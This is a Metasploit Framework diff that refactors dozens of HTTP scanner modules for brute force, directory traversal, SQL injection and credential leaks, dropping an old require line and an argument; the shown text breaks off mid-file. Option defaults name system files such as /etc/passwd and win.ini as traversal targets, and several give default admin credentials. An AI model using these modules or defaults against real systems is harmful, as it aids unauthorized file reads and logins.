Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/jenkins' @@ -26,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('LOGIN_URL', [true, 'The URL that handles the login process', '/j_acegi_security_check']), OptEnum.new('HTTP_METHOD', [true, 'The HTTP method to use for the login', 'POST', ['GET', 'POST']]), Opt::RPORT(8080) - ], self.class) + ]) register_autofilter_ports([ 80, 443, 8080, 8081, 8000 ]) diff --git a/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb b/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb index 3e5d3b02da..bbd87a5326 100644 --- a/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb +++ b/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USER_VARIABLE', [true, 'The name of the variable for the user field', 'username']), OptString.new('PASS_VARIABLE', [true, 'The name of the variable for the password field' , 'passwd']), OptString.new('WORD_ERROR', [true, 'The word of message for detect that login fail', 'mod-login-username']) - ], self.class) + ]) register_autofilter_ports([80, 443]) end diff --git a/modules/auxiliary/scanner/http/joomla_ecommercewd_sqli_scanner.rb b/modules/auxiliary/scanner/http/joomla_ecommercewd_sqli_scanner.rb index 79ee38026a..6e8783c49b 100644 --- a/modules/auxiliary/scanner/http/joomla_ecommercewd_sqli_scanner.rb +++ b/modules/auxiliary/scanner/http/joomla_ecommercewd_sqli_scanner.rb @@ -4,8 +4,6 @@ ## require 'uri' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('TARGETURI', [ true, "The path to the Joomla install", '/']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/joomla_gallerywd_sqli_scanner.rb b/modules/auxiliary/scanner/http/joomla_gallerywd_sqli_scanner.rb index 4e959d20a6..c618e7528b 100644 --- a/modules/auxiliary/scanner/http/joomla_gallerywd_sqli_scanner.rb +++ b/modules/auxiliary/scanner/http/joomla_gallerywd_sqli_scanner.rb @@ -4,8 +4,6 @@ ## require 'uri' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ OptString.new('TARGETURI', [true, 'Target URI of the Joomla! instance', '/']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/joomla_pages.rb b/modules/auxiliary/scanner/http/joomla_pages.rb index f281195326..ce58afcd8e 100644 --- a/modules/auxiliary/scanner/http/joomla_pages.rb +++ b/modules/auxiliary/scanner/http/joomla_pages.rb @@ -2,8 +2,6 @@ # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -24,7 +22,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('TARGETURI', [ true, "The path to the Joomla install", '/']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/joomla_plugins.rb b/modules/auxiliary/scanner/http/joomla_plugins.rb index 16bb6ec313..5d05256f1e 100644 --- a/modules/auxiliary/scanner/http/joomla_plugins.rb +++ b/modules/auxiliary/scanner/http/joomla_plugins.rb @@ -2,8 +2,6 @@ # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -26,7 +24,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('TARGETURI', [ true, "The path to the Joomla install", '/']), OptPath.new('PLUGINS', [ true, "Path to list of plugins to enumerate", File.join(Msf::Config.data_directory, "wordlists", "joomla.txt")]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/joomla_version.rb b/modules/auxiliary/scanner/http/joomla_version.rb index c167a2a28c..9edc2f9a31 100644 --- a/modules/auxiliary/scanner/http/joomla_version.rb +++ b/modules/auxiliary/scanner/http/joomla_version.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Joomla diff --git a/modules/auxiliary/scanner/http/kodi_traversal.rb b/modules/auxiliary/scanner/http/kodi_traversal.rb index b3997770ca..7aceede7cd 100644 --- a/modules/auxiliary/scanner/http/kodi_traversal.rb +++ b/modules/auxiliary/scanner/http/kodi_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -35,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']), OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']), OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/linknat_vos_traversal.rb b/modules/auxiliary/scanner/http/linknat_vos_traversal.rb index 63e5630128..8a81fb149c 100644 --- a/modules/auxiliary/scanner/http/linknat_vos_traversal.rb +++ b/modules/auxiliary/scanner/http/linknat_vos_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [true, 'The path of Linknat Vos Manager (/chs/, /cht/, /eng/)', '/eng/']), OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']), OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 5]) - ], self.class) + ]) end def vos_uri(path) diff --git a/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb b/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb index e42c055521..bad905abba 100644 --- a/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb +++ b/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('HttpUsername',[ true, 'User to login with', 'admin']), OptString.new('HttpPassword',[ true, 'Password to login with', 'password']), - ], self.class) + ]) end def extract_words(wordfile) diff --git a/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb b/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb index fb0bbcdccd..7ae13ba1f9 100644 --- a/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('URI', [true, 'Specify the path to download the file (ex: admin.php)', '/admin.php']), OptString.new('PATH_SAVE', [true, 'The path to save the downloaded source code', '']), - ], self.class) + ]) end def target_url diff --git a/modules/auxiliary/scanner/http/lucky_punch.rb b/modules/auxiliary/scanner/http/lucky_punch.rb index a558d21ec3..fc87231ff7 100644 --- a/modules/auxiliary/scanner/http/lucky_punch.rb +++ b/modules/auxiliary/scanner/http/lucky_punch.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('TEXT_INT_INJECTION', [ true, "Perform string injection", false]), OptBool.new('COMMENTED', [ true, "Comment end of query", true]), OptString.new('EVIL_HTML', [ true, "Evil HTML to add to tables", '']), - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb b/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb index 56f51d3877..ba7fcc97e2 100644 --- a/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('FILE', [ true, "Define the remote file to view, ex:/etc/passwd", 'config.pl']), OptString.new('URI', [true, 'Majordomo vulnerable URI path', '/cgi-bin/mj_wwwusr/domain=domain?user=&passw=&func=help&extra=']), OptInt.new('DEPTH', [true, 'Define the max traversal depth', 8]), - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/manageengine_desktop_central_login.rb b/modules/auxiliary/scanner/http/manageengine_desktop_central_login.rb index e78845afbc..f15bdffabc 100644 --- a/modules/auxiliary/scanner/http/manageengine_desktop_central_login.rb +++ b/modules/auxiliary/scanner/http/manageengine_desktop_central_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/login_scanner/manageengine_desktop_central' require 'metasploit/framework/credential_collection' diff --git a/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb b/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb index 3596a665a0..1c65e95f58 100644 --- a/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb +++ b/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(6060), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('FILEPATH', [true, 'The name of the file to download', 'windows\\win.ini']) - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb b/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb index bc3a91967b..f0a8c3c8ad 100644 --- a/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb +++ b/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner @@ -38,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(6060), OptBool.new('SSL', [true, 'Use SSL', true]) - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb b/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb index 5f44f9f3c9..78a01caa86 100644 --- a/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb +++ b/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']), OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']), OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb b/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb index a23e7ede47..f755602979 100644 --- a/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb +++ b/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('RFILE', [true, 'Remote File', '/etc/passwd']), OptString.new('USERNAME', [ false, "The user to authenticate as"]), OptString.new('PASSWORD', [ false, "The password to authenticate with" ]) - ], self.class) + ]) register_autofilter_ports([ 80 ]) deregister_options('RHOST') diff --git a/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb b/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb index 41bcf70ae2..aea568c359 100644 --- a/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb +++ b/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/mod_negotiation_brute.rb b/modules/auxiliary/scanner/http/mod_negotiation_brute.rb index 4a15cd0776..fa50076323 100644 --- a/modules/auxiliary/scanner/http/mod_negotiation_brute.rb +++ b/modules/auxiliary/scanner/http/mod_negotiation_brute.rb @@ -8,8 +8,6 @@ # http://httpd.apache.org/docs/1.3/content-negotiation.html ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('PATH', [ true, "The path to detect mod_negotiation", '/']), OptPath.new('FILEPATH',[true, "path to file with file names", File.join(Msf::Config.data_directory, "wmap", "wmap_files.txt")]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/mod_negotiation_scanner.rb b/modules/auxiliary/scanner/http/mod_negotiation_scanner.rb index 691c59099e..e575e328f3 100644 --- a/modules/auxiliary/scanner/http/mod_negotiation_scanner.rb +++ b/modules/auxiliary/scanner/http/mod_negotiation_scanner.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -24,7 +22,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('PATH', [ true, "The path to detect mod_negotiation", '/']), OptString.new('FILENAME',[true, "Filename to use as a test",'index']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb b/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb index 110daab153..d0c3fdd7e3 100644 --- a/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb +++ b/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -38,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('PATH', [ true, "The path to protected folder", '/']) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb b/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb index ef0ddc1d8d..19f6b904fa 100644 --- a/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb +++ b/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/']), OptBool.new('SUPPRESS_REQUEST', [ true, 'Suppress output of the requested resource', true ]) - ], self.class) + ]) deregister_options('VHOST') end diff --git a/modules/auxiliary/scanner/http/mybook_live_login.rb b/modules/auxiliary/scanner/http/mybook_live_login.rb index ef26c0074e..faf5f2c65b 100644 --- a/modules/auxiliary/scanner/http/mybook_live_login.rb +++ b/modules/auxiliary/scanner/http/mybook_live_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/mybook_live' @@ -24,7 +23,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(80) - ], self.class) + ]) register_autofilter_ports([ 80 ]) diff --git a/modules/auxiliary/scanner/http/netdecision_traversal.rb b/modules/auxiliary/scanner/http/netdecision_traversal.rb index d4fd40dbbc..c38e3305e5 100644 --- a/modules/auxiliary/scanner/http/netdecision_traversal.rb +++ b/modules/auxiliary/scanner/http/netdecision_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary # 8090 = NOCVisionServer Opt::RPORT(8087), OptString.new('FILEPATH', [false, 'The name of the file to download', 'windows\\system.ini']) - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb b/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb index ce68725982..7768e4ea96 100644 --- a/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]), OptString.new('HttpUsername',[ true, 'User to login with', 'service']), OptString.new('HttpPassword',[ true, 'Password to login with', 'service']) - ], self.class) + ]) end def extract_words(wordfile) diff --git a/modules/auxiliary/scanner/http/nginx_source_disclosure.rb b/modules/auxiliary/scanner/http/nginx_source_disclosure.rb index 3ad8698df6..89dfc68f11 100644 --- a/modules/auxiliary/scanner/http/nginx_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/nginx_source_disclosure.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('TARGETURI', [true, 'Specify the path to download the file (ex: admin.php)', '/admin.php']), OptString.new('PATH_SAVE', [true, 'The path to save the downloaded source code', '']), - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb b/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb index 9b3dd3137e..b5cd056275 100644 --- a/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb +++ b/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('RFILE', [true, 'Remote File', 'windows\\win.ini']), OptInt.new('DEPTH', [true, 'Traversal depth', 6]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb b/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb index 22a5fbd3ea..a9333b93d6 100644 --- a/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb +++ b/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(3037), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('RFILE', [true, 'Remote File', 'c:\\windows\\win.ini']) - ], self.class) + ]) register_autofilter_ports([ 3037 ]) deregister_options('RHOST') diff --git a/modules/auxiliary/scanner/http/novell_mdm_creds.rb b/modules/auxiliary/scanner/http/novell_mdm_creds.rb index 7008ed04f3..72cb415a31 100644 --- a/modules/auxiliary/scanner/http/novell_mdm_creds.rb +++ b/modules/auxiliary/scanner/http/novell_mdm_creds.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -34,11 +32,11 @@ class MetasploitModule < Msf::Auxiliary register_options([ OptString.new('TARGETURI', [true, 'Path to the Novell Zenworks MDM install', '/']) - ], self.class) + ]) register_advanced_options([ OptBool.new('SSL', [true, "Negotiate SSL connection", false]) - ], self.class) + ]) end def setup_session() diff --git a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb index b7c4bbfa14..35dcb45bc5 100644 --- a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb +++ b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb @@ -2,8 +2,6 @@ # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGET_URI', [ false, "Single target URI", nil]), OptPath.new('TARGET_URIS_FILE', [ false, "Path to list of URIs to request", File.join(Msf::Config.data_directory, "wordlists", "http_owa_common.txt")]), - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/octopusdeploy_login.rb b/modules/auxiliary/scanner/http/octopusdeploy_login.rb index 0003bf3942..3c4f62a7ca 100644 --- a/modules/auxiliary/scanner/http/octopusdeploy_login.rb +++ b/modules/auxiliary/scanner/http/octopusdeploy_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/octopusdeploy' @@ -29,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(80), OptString.new('TARGETURI', [true, 'URI for login. Default is /api/users/login', '/api/users/login']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/open_proxy.rb b/modules/auxiliary/scanner/http/open_proxy.rb index 9c1240d5fa..b9dd6c7ffd 100644 --- a/modules/auxiliary/scanner/http/open_proxy.rb +++ b/modules/auxiliary/scanner/http/open_proxy.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -38,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('CHECKURL', [ true, 'The web site to test via alleged web proxy', 'http://www.google.com' ]), OptString.new('VALIDCODES', [ true, "Valid HTTP code for a successfully request", '200,302' ]), OptString.new('VALIDPATTERN', [ true, "Valid pattern match (case-sensitive into the headers and HTML body) for a successfully request", '302 Moved' ]), - ], self.class) + ]) register_wmap_options({ 'OrderID' => 1, diff --git a/modules/auxiliary/scanner/http/openmind_messageos_login.rb b/modules/auxiliary/scanner/http/openmind_messageos_login.rb index 75520d32ff..8e654c6a35 100644 --- a/modules/auxiliary/scanner/http/openmind_messageos_login.rb +++ b/modules/auxiliary/scanner/http/openmind_messageos_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [true, "URI for Web login", "/provision/index.php"]), OptString.new('USERNAME', [true, "A specific username to authenticate as", "admin"]), OptString.new('PASSWORD', [true, "A specific password to authenticate with", "admin"]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/options.rb b/modules/auxiliary/scanner/http/options.rb index 466c9b75c3..36226a2d4a 100644 --- a/modules/auxiliary/scanner/http/options.rb +++ b/modules/auxiliary/scanner/http/options.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first diff --git a/modules/auxiliary/scanner/http/oracle_demantra_database_credentials_leak.rb b/modules/auxiliary/scanner/http/oracle_demantra_database_credentials_leak.rb index d2a1490cc7..0f635a11fa 100644 --- a/modules/auxiliary/scanner/http/oracle_demantra_database_credentials_leak.rb +++ b/modules/auxiliary/scanner/http/oracle_demantra_database_credentials_leak.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner @@ -38,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(8080), OptBool.new('SSL', [false, 'Use SSL', false]) - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/http/oracle_demantra_file_retrieval.rb b/modules/auxiliary/scanner/http/oracle_demantra_file_retrieval.rb index 6a078da9a3..f56f471fcc 100644 --- a/modules/auxiliary/scanner/http/oracle_demantra_file_retrieval.rb +++ b/modules/auxiliary/scanner/http/oracle_demantra_file_retrieval.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(8080), OptBool.new('SSL', [false, 'Use SSL', false]), OptString.new('FILEPATH', [true, 'The name of the file to download', 'c:/windows/win.ini']) - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/http/oracle_ilom_login.rb b/modules/auxiliary/scanner/http/oracle_ilom_login.rb index de82331fa2..84cb76b53a 100644 --- a/modules/auxiliary/scanner/http/oracle_ilom_login.rb +++ b/modules/auxiliary/scanner/http/oracle_ilom_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(443) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/owa_ews_login.rb b/modules/auxiliary/scanner/http/owa_ews_login.rb index b1f6d87800..e543466f55 100644 --- a/modules/auxiliary/scanner/http/owa_ews_login.rb +++ b/modules/auxiliary/scanner/http/owa_ews_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/proto/ntlm/message' require 'rex/proto/http' require 'metasploit/framework/credential_collection' @@ -37,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('AD_DOMAIN', [ false, "The Active Directory domain name", nil ]), OptString.new('TARGETURI', [ false, "The location of the NTLM service", nil ]), Opt::RPORT(443) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb b/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb index ea870025cb..b965422bd1 100644 --- a/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb +++ b/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary [ OptInt.new('TIMEOUT', [ true, "HTTP connection timeout", 10]), OptInt.new('RPORT', [ true, "The target port", 443]), - ], self.class) + ]) end def run_host(target_host) diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index c3536f9950..7f951c2e17 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/proto/ntlm/message' class MetasploitModule < Msf::Auxiliary @@ -84,13 +83,13 @@ class MetasploitModule < Msf::Auxiliary OptAddress.new('RHOST', [ true, "The target address" ]), OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", true]), OptBool.new('AUTH_TIME', [ false, "Check HTTP authentication response time", true]) - ], self.class) + ]) register_advanced_options( [ OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']) - ], self.class) + ]) deregister_options('BLANK_PASSWORDS', 'RHOSTS') end diff --git a/modules/auxiliary/scanner/http/pocketpad_login.rb b/modules/auxiliary/scanner/http/pocketpad_login.rb index 137fae776d..7e872abac3 100644 --- a/modules/auxiliary/scanner/http/pocketpad_login.rb +++ 